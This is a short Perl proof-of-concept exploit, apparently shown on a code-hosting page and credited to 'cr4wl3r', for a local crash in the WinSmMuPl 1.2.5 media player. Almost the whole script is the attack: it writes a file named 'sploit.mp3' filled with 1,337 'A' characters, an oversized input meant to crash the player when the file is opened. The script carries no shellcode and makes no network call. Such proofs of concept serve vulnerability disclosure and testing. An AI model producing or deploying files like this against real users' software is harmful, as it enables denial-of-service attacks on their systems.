19 lines
No EOL
448 B
Perl
Executable file
19 lines
No EOL
448 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# WinSmMuPl 1.2.5 (.mp3) Local Crash PoC
|
|
|
|
#[+] Discovered By: cr4wl3r
|
|
|
|
|
|
print "#####################################################\n";
|
|
print "[!] WinSmMuPl 1.2.5 (.mp3) Local Crash PoC\n";
|
|
print "\n";
|
|
print "[!] By: cr4wl3r\n";
|
|
print "#####################################################\n";
|
|
|
|
|
|
my $boom = "A" x 1337;
|
|
my $filename = "sploit.mp3";
|
|
open (FILE,">$filename");
|
|
print FILE "$boom";
|
|
print "\nDone!\n"; |